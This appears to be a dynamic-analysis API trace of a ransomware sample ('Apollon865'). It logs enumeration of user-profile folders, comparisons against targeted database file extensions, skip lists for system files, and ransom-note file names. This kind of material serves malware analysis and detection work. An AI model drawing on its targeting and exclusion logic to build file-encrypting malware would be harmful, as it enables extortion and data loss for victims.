	[0036.290] lstrcmpiW (lpString1="OG1", lpString2="adn") returned 1
	[0036.290] lstrlenW (lpString="adp") returned 3
	[0036.290] lstrcmpiW (lpString1="OG1", lpString2="adp") returned 1
	[0036.290] lstrlenW (lpString="alf") returned 3
	[0036.290] lstrcmpiW (lpString1="OG1", lpString2="alf") returned 1
	[0036.290] lstrlenW (lpString="ask") returned 3
	[0036.290] lstrcmpiW (lpString1="OG1", lpString2="ask") returned 1
	[0036.290] lstrlenW (lpString="btr") returned 3
	[0036.290] lstrcmpiW (lpString1="OG1", lpString2="btr") returned 1
	[0036.290] lstrlenW (lpString="cat") returned 3
	[0036.291] lstrcmpiW (lpString1="OG1", lpString2="cat") returned 1
	[0036.291] lstrlenW (lpString="cdb") returned 3
	[0036.291] lstrcmpiW (lpString1="OG1", lpString2="cdb") returned 1
	[0036.291] lstrlenW (lpString="ckp") returned 3
	[0036.291] lstrcmpiW (lpString1="OG1", lpString2="ckp") returned 1
	[0036.291] lstrlenW (lpString="cma") returned 3
	[0036.291] lstrcmpiW (lpString1="OG1", lpString2="cma") returned 1
	[0036.291] lstrlenW (lpString="cpd") returned 3
	[0036.291] lstrcmpiW (lpString1="OG1", lpString2="cpd") returned 1
	[0036.291] lstrlenW (lpString="dacpac") returned 6
	[0036.291] lstrcmpiW (lpString1="T.LOG1", lpString2="dacpac") returned 1
	[0036.291] lstrlenW (lpString="dad") returned 3
	[0036.291] lstrcmpiW (lpString1="OG1", lpString2="dad") returned 1
	[0036.291] lstrlenW (lpString="dadiagrams") returned 10
	[0036.291] lstrcmpiW (lpString1="R.DAT.LOG1", lpString2="dadiagrams") returned 1
	[0036.291] lstrlenW (lpString="daschema") returned 8
	[0036.291] lstrcmpiW (lpString1="DAT.LOG1", lpString2="daschema") returned 1
	[0036.291] lstrlenW (lpString="db-journal") returned 10
	[0036.291] lstrcmpiW (lpString1="R.DAT.LOG1", lpString2="db-journal") returned 1
	[0036.291] lstrlenW (lpString="db-shm") returned 6
	[0036.291] lstrcmpiW (lpString1="T.LOG1", lpString2="db-shm") returned 1
	[0036.291] lstrlenW (lpString="db-wal") returned 6
	[0036.291] lstrcmpiW (lpString1="T.LOG1", lpString2="db-wal") returned 1
	[0036.291] lstrlenW (lpString="dbc") returned 3
	[0036.291] lstrcmpiW (lpString1="OG1", lpString2="dbc") returned 1
	[0036.291] lstrlenW (lpString="dbs") returned 3
	[0036.291] lstrcmpiW (lpString1="OG1", lpString2="dbs") returned 1
	[0036.291] lstrlenW (lpString="dbt") returned 3
	[0036.291] lstrcmpiW (lpString1="OG1", lpString2="dbt") returned 1
	[0036.291] lstrlenW (lpString="dbv") returned 3
	[0036.291] lstrcmpiW (lpString1="OG1", lpString2="dbv") returned 1
	[0036.291] lstrlenW (lpString="dbx") returned 3
	[0036.291] lstrcmpiW (lpString1="OG1", lpString2="dbx") returned 1
	[0036.291] lstrlenW (lpString="dcb") returned 3
	[0036.291] lstrcmpiW (lpString1="OG1", lpString2="dcb") returned 1
	[0036.292] lstrcpyW (in: lpString1=0x2d3e572, lpString2="NTUSER.DAT.LOG2" | out: lpString1="NTUSER.DAT.LOG2") returned="NTUSER.DAT.LOG2"
	[0036.292] lstrlenW (lpString="NTUSER.DAT.LOG2") returned 15
	[0036.292] lstrlenW (lpString="Apollon865") returned 10
	[0036.292] lstrcmpiW (lpString1="R.DAT.LOG2", lpString2="Apollon865") returned 1
	[0036.292] lstrlenW (lpString=".dll") returned 4
	[0036.292] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2=".dll") returned 1
	[0036.292] lstrlenW (lpString=".lnk") returned 4
	[0036.292] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2=".lnk") returned 1
	[0036.292] lstrlenW (lpString=".ini") returned 4
	[0036.292] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2=".ini") returned 1
	[0036.292] lstrlenW (lpString=".sys") returned 4
	[0036.292] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2=".sys") returned 1
	[0036.292] lstrlenW (lpString="NTUSER.DAT.LOG2") returned 15
	[0036.292] lstrcpyW (in: lpString1=0x2d3e572, lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" | out: lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf"
	[0036.292] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned 55
	[0036.292] lstrlenW (lpString="Apollon865") returned 10
	[0036.292] lstrcmpiW (lpString1="ec}.TM.blf", lpString2="Apollon865") returned 1
	[0036.292] lstrlenW (lpString=".dll") returned 4
	[0036.292] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".dll") returned 1
	[0036.292] lstrlenW (lpString=".lnk") returned 4
	[0036.292] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".lnk") returned 1
	[0036.292] lstrlenW (lpString=".ini") returned 4
	[0036.292] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".ini") returned 1
	[0036.292] lstrlenW (lpString=".sys") returned 4
	[0036.292] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".sys") returned 1
	[0036.292] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned 55
	[0036.292] lstrcpyW (in: lpString1=0x2d3e572, lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" | out: lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms"
	[0036.292] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned 92
	[0036.292] lstrlenW (lpString="Apollon865") returned 10
	[0036.292] lstrcmpiW (lpString1="egtrans-ms", lpString2="Apollon865") returned 1
	[0036.292] lstrlenW (lpString=".dll") returned 4
	[0036.292] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".dll") returned 1
	[0036.292] lstrlenW (lpString=".lnk") returned 4
	[0036.293] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".lnk") returned 1
	[0036.293] lstrlenW (lpString=".ini") returned 4
	[0036.293] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".ini") returned 1
	[0036.293] lstrlenW (lpString=".sys") returned 4
	[0036.293] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".sys") returned 1
	[0036.293] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned 92
	[0036.293] lstrcpyW (in: lpString1=0x2d3e572, lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" | out: lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms"
	[0036.293] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned 92
	[0036.293] lstrlenW (lpString="Apollon865") returned 10
	[0036.293] lstrcmpiW (lpString1="egtrans-ms", lpString2="Apollon865") returned 1
	[0036.293] lstrlenW (lpString=".dll") returned 4
	[0036.293] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".dll") returned 1
	[0036.293] lstrlenW (lpString=".lnk") returned 4
	[0036.293] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".lnk") returned 1
	[0036.293] lstrlenW (lpString=".ini") returned 4
	[0036.293] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".ini") returned 1
	[0036.293] lstrlenW (lpString=".sys") returned 4
	[0036.293] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".sys") returned 1
	[0036.293] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned 92
	[0036.293] lstrcpyW (in: lpString1=0x2d3e572, lpString2="ntuser.ini" | out: lpString1="ntuser.ini") returned="ntuser.ini"
	[0036.293] lstrlenW (lpString="ntuser.ini") returned 10
	[0036.293] lstrlenW (lpString="Apollon865") returned 10
	[0036.293] lstrlenW (lpString=".dll") returned 4
	[0036.293] lstrcmpiW (lpString1="ntuser.ini", lpString2=".dll") returned 1
	[0036.293] lstrlenW (lpString=".lnk") returned 4
	[0036.293] lstrcmpiW (lpString1="ntuser.ini", lpString2=".lnk") returned 1
	[0036.293] lstrlenW (lpString=".ini") returned 4
	[0036.293] lstrcmpiW (lpString1="ntuser.ini", lpString2=".ini") returned 1
	[0036.293] lstrlenW (lpString=".sys") returned 4
	[0036.293] lstrcmpiW (lpString1="ntuser.ini", lpString2=".sys") returned 1
	[0036.293] lstrlenW (lpString="ntuser.ini") returned 10
	[0036.293] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures"
	[0036.294] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Pictures", dwFileAttributes=0x10) returned 1
	[0036.294] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0036.294] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x34) returned 0x5ca310
	[0036.294] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7bd0
	[0036.294] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1
	[0036.294] lstrcmpiW (lpString1="PrintHood", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.294] lstrcmpiW (lpString1="PrintHood", lpString2="Apollon865.txt.exe") returned 1
	[0036.294] lstrcmpiW (lpString1="PrintHood", lpString2=".") returned 1
	[0036.294] lstrcmpiW (lpString1="PrintHood", lpString2="..") returned 1
	[0036.294] lstrcmpiW (lpString1="PrintHood", lpString2="windows") returned -1
	[0036.294] lstrcmpiW (lpString1="PrintHood", lpString2="bootmgr") returned 1
	[0036.294] lstrcmpiW (lpString1="PrintHood", lpString2="temp") returned -1
	[0036.294] lstrcmpiW (lpString1="PrintHood", lpString2="pagefile.sys") returned 1
	[0036.294] lstrcmpiW (lpString1="PrintHood", lpString2="boot") returned 1
	[0036.294] lstrcmpiW (lpString1="PrintHood", lpString2="ids.txt") returned 1
	[0036.294] lstrcmpiW (lpString1="PrintHood", lpString2="ntuser.dat") returned 1
	[0036.294] lstrcmpiW (lpString1="PrintHood", lpString2="perflogs") returned 1
	[0036.295] lstrcmpiW (lpString1="PrintHood", lpString2="MSBuild") returned 1
	[0036.295] lstrlenW (lpString="PrintHood") returned 9
	[0036.295] lstrlenW (lpString="C:\\Users\\Default\\Pictures") returned 25
	[0036.295] lstrcpyW (in: lpString1=0x2d3e572, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood"
	[0036.295] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0036.295] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x36) returned 0x5ca350
	[0036.295] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7bf0
	[0036.295] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1
	[0036.295] lstrcmpiW (lpString1="Recent", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.295] lstrcmpiW (lpString1="Recent", lpString2="Apollon865.txt.exe") returned 1
	[0036.295] lstrcmpiW (lpString1="Recent", lpString2=".") returned 1
	[0036.295] lstrcmpiW (lpString1="Recent", lpString2="..") returned 1
	[0036.295] lstrcmpiW (lpString1="Recent", lpString2="windows") returned -1
	[0036.295] lstrcmpiW (lpString1="Recent", lpString2="bootmgr") returned 1
	[0036.295] lstrcmpiW (lpString1="Recent", lpString2="temp") returned -1
	[0036.295] lstrcmpiW (lpString1="Recent", lpString2="pagefile.sys") returned 1
	[0036.295] lstrcmpiW (lpString1="Recent", lpString2="boot") returned 1
	[0036.295] lstrcmpiW (lpString1="Recent", lpString2="ids.txt") returned 1
	[0036.295] lstrcmpiW (lpString1="Recent", lpString2="ntuser.dat") returned 1
	[0036.295] lstrcmpiW (lpString1="Recent", lpString2="perflogs") returned 1
	[0036.295] lstrcmpiW (lpString1="Recent", lpString2="MSBuild") returned 1
	[0036.295] lstrlenW (lpString="Recent") returned 6
	[0036.295] lstrlenW (lpString="C:\\Users\\Default\\PrintHood") returned 26
	[0036.295] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Recent" | out: lpString1="Recent") returned="Recent"
	[0036.295] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0036.295] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x30) returned 0x5b7ed0
	[0036.295] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7c10
	[0036.295] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1
	[0036.295] lstrcmpiW (lpString1="Saved Games", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.295] lstrcmpiW (lpString1="Saved Games", lpString2="Apollon865.txt.exe") returned 1
	[0036.295] lstrcmpiW (lpString1="Saved Games", lpString2=".") returned 1
	[0036.295] lstrcmpiW (lpString1="Saved Games", lpString2="..") returned 1
	[0036.295] lstrcmpiW (lpString1="Saved Games", lpString2="windows") returned -1
	[0036.295] lstrcmpiW (lpString1="Saved Games", lpString2="bootmgr") returned 1
	[0036.295] lstrcmpiW (lpString1="Saved Games", lpString2="temp") returned -1
	[0036.295] lstrcmpiW (lpString1="Saved Games", lpString2="pagefile.sys") returned 1
	[0036.295] lstrcmpiW (lpString1="Saved Games", lpString2="boot") returned 1
	[0036.296] lstrcmpiW (lpString1="Saved Games", lpString2="ids.txt") returned 1
	[0036.296] lstrcmpiW (lpString1="Saved Games", lpString2="ntuser.dat") returned 1
	[0036.296] lstrcmpiW (lpString1="Saved Games", lpString2="perflogs") returned 1
	[0036.296] lstrcmpiW (lpString1="Saved Games", lpString2="MSBuild") returned 1
	[0036.296] lstrlenW (lpString="Saved Games") returned 11
	[0036.296] lstrlenW (lpString="C:\\Users\\Default\\Recent") returned 23
	[0036.296] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games"
	[0036.296] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Saved Games", dwFileAttributes=0x10) returned 1
	[0036.296] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0036.296] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3a) returned 0x5b6118
	[0036.296] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7c30
	[0036.296] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1
	[0036.296] lstrcmpiW (lpString1="Searches", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.296] lstrcmpiW (lpString1="Searches", lpString2="Apollon865.txt.exe") returned 1
	[0036.296] lstrcmpiW (lpString1="Searches", lpString2=".") returned 1
	[0036.296] lstrcmpiW (lpString1="Searches", lpString2="..") returned 1
	[0036.296] lstrcmpiW (lpString1="Searches", lpString2="windows") returned -1
	[0036.296] lstrcmpiW (lpString1="Searches", lpString2="bootmgr") returned 1
	[0036.296] lstrcmpiW (lpString1="Searches", lpString2="temp") returned -1
	[0036.296] lstrcmpiW (lpString1="Searches", lpString2="pagefile.sys") returned 1
	[0036.296] lstrcmpiW (lpString1="Searches", lpString2="boot") returned 1
	[0036.296] lstrcmpiW (lpString1="Searches", lpString2="ids.txt") returned 1
	[0036.296] lstrcmpiW (lpString1="Searches", lpString2="ntuser.dat") returned 1
	[0036.296] lstrcmpiW (lpString1="Searches", lpString2="perflogs") returned 1
	[0036.296] lstrcmpiW (lpString1="Searches", lpString2="MSBuild") returned 1
	[0036.296] lstrlenW (lpString="Searches") returned 8
	[0036.296] lstrlenW (lpString="C:\\Users\\Default\\Saved Games") returned 28
	[0036.297] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Searches" | out: lpString1="Searches") returned="Searches"
	[0036.297] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Searches", dwFileAttributes=0x10) returned 1
	[0036.297] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c68
	[0036.297] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x34) returned 0x5ca390
	[0036.297] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c70 | out: ListHead=0x5b76b0, ListEntry=0x5b7c70) returned 0x5b7c50
	[0036.297] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1
	[0036.297] lstrcmpiW (lpString1="SendTo", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.297] lstrcmpiW (lpString1="SendTo", lpString2="Apollon865.txt.exe") returned 1
	[0036.297] lstrcmpiW (lpString1="SendTo", lpString2=".") returned 1
	[0036.297] lstrcmpiW (lpString1="SendTo", lpString2="..") returned 1
	[0036.297] lstrcmpiW (lpString1="SendTo", lpString2="windows") returned -1
	[0036.297] lstrcmpiW (lpString1="SendTo", lpString2="bootmgr") returned 1
	[0036.297] lstrcmpiW (lpString1="SendTo", lpString2="temp") returned -1
	[0036.297] lstrcmpiW (lpString1="SendTo", lpString2="pagefile.sys") returned 1
	[0036.297] lstrcmpiW (lpString1="SendTo", lpString2="boot") returned 1
	[0036.297] lstrcmpiW (lpString1="SendTo", lpString2="ids.txt") returned 1
	[0036.297] lstrcmpiW (lpString1="SendTo", lpString2="ntuser.dat") returned 1
	[0036.297] lstrcmpiW (lpString1="SendTo", lpString2="perflogs") returned 1
	[0036.297] lstrcmpiW (lpString1="SendTo", lpString2="MSBuild") returned 1
	[0036.297] lstrlenW (lpString="SendTo") returned 6
	[0036.297] lstrlenW (lpString="C:\\Users\\Default\\Searches") returned 25
	[0036.297] lstrcpyW (in: lpString1=0x2d3e572, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo"
	[0036.297] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0036.298] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x30) returned 0x5b7f08
	[0036.298] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7c70
	[0036.298] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1
	[0036.298] lstrcmpiW (lpString1="Start Menu", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.298] lstrcmpiW (lpString1="Start Menu", lpString2="Apollon865.txt.exe") returned 1
	[0036.298] lstrcmpiW (lpString1="Start Menu", lpString2=".") returned 1
	[0036.298] lstrcmpiW (lpString1="Start Menu", lpString2="..") returned 1
	[0036.298] lstrcmpiW (lpString1="Start Menu", lpString2="windows") returned -1
	[0036.298] lstrcmpiW (lpString1="Start Menu", lpString2="bootmgr") returned 1
	[0036.298] lstrcmpiW (lpString1="Start Menu", lpString2="temp") returned -1
	[0036.298] lstrcmpiW (lpString1="Start Menu", lpString2="pagefile.sys") returned 1
	[0036.298] lstrcmpiW (lpString1="Start Menu", lpString2="boot") returned 1
	[0036.298] lstrcmpiW (lpString1="Start Menu", lpString2="ids.txt") returned 1
	[0036.298] lstrcmpiW (lpString1="Start Menu", lpString2="ntuser.dat") returned 1
	[0036.298] lstrcmpiW (lpString1="Start Menu", lpString2="perflogs") returned 1
	[0036.298] lstrcmpiW (lpString1="Start Menu", lpString2="MSBuild") returned 1
	[0036.298] lstrlenW (lpString="Start Menu") returned 10
	[0036.298] lstrlenW (lpString="C:\\Users\\Default\\SendTo") returned 23
	[0036.298] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu"
	[0036.298] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0036.298] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x38) returned 0x5ca3d0
	[0036.298] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c90
	[0036.298] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0036.298] lstrcmpiW (lpString1="Templates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.298] lstrcmpiW (lpString1="Templates", lpString2="Apollon865.txt.exe") returned 1
	[0036.298] lstrcmpiW (lpString1="Templates", lpString2=".") returned 1
	[0036.298] lstrcmpiW (lpString1="Templates", lpString2="..") returned 1
	[0036.298] lstrcmpiW (lpString1="Templates", lpString2="windows") returned -1
	[0036.298] lstrcmpiW (lpString1="Templates", lpString2="bootmgr") returned 1
	[0036.298] lstrcmpiW (lpString1="Templates", lpString2="temp") returned 1
	[0036.298] lstrcmpiW (lpString1="Templates", lpString2="pagefile.sys") returned 1
	[0036.298] lstrcmpiW (lpString1="Templates", lpString2="boot") returned 1
	[0036.298] lstrcmpiW (lpString1="Templates", lpString2="ids.txt") returned 1
	[0036.298] lstrcmpiW (lpString1="Templates", lpString2="ntuser.dat") returned 1
	[0036.298] lstrcmpiW (lpString1="Templates", lpString2="perflogs") returned 1
	[0036.298] lstrcmpiW (lpString1="Templates", lpString2="MSBuild") returned 1
	[0036.298] lstrlenW (lpString="Templates") returned 9
	[0036.299] lstrlenW (lpString="C:\\Users\\Default\\Start Menu") returned 27
	[0036.299] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Templates" | out: lpString1="Templates") returned="Templates"
	[0036.299] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7cc8
	[0036.299] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x36) returned 0x5ca410
	[0036.299] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cd0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cd0) returned 0x5b7cb0
	[0036.299] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1
	[0036.299] lstrcmpiW (lpString1="Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.299] lstrcmpiW (lpString1="Videos", lpString2="Apollon865.txt.exe") returned 1
	[0036.299] lstrcmpiW (lpString1="Videos", lpString2=".") returned 1
	[0036.299] lstrcmpiW (lpString1="Videos", lpString2="..") returned 1
	[0036.299] lstrcmpiW (lpString1="Videos", lpString2="windows") returned -1
	[0036.299] lstrcmpiW (lpString1="Videos", lpString2="bootmgr") returned 1
	[0036.299] lstrcmpiW (lpString1="Videos", lpString2="temp") returned 1
	[0036.299] lstrcmpiW (lpString1="Videos", lpString2="pagefile.sys") returned 1
	[0036.299] lstrcmpiW (lpString1="Videos", lpString2="boot") returned 1
	[0036.299] lstrcmpiW (lpString1="Videos", lpString2="ids.txt") returned 1
	[0036.299] lstrcmpiW (lpString1="Videos", lpString2="ntuser.dat") returned 1
	[0036.299] lstrcmpiW (lpString1="Videos", lpString2="perflogs") returned 1
	[0036.299] lstrcmpiW (lpString1="Videos", lpString2="MSBuild") returned 1
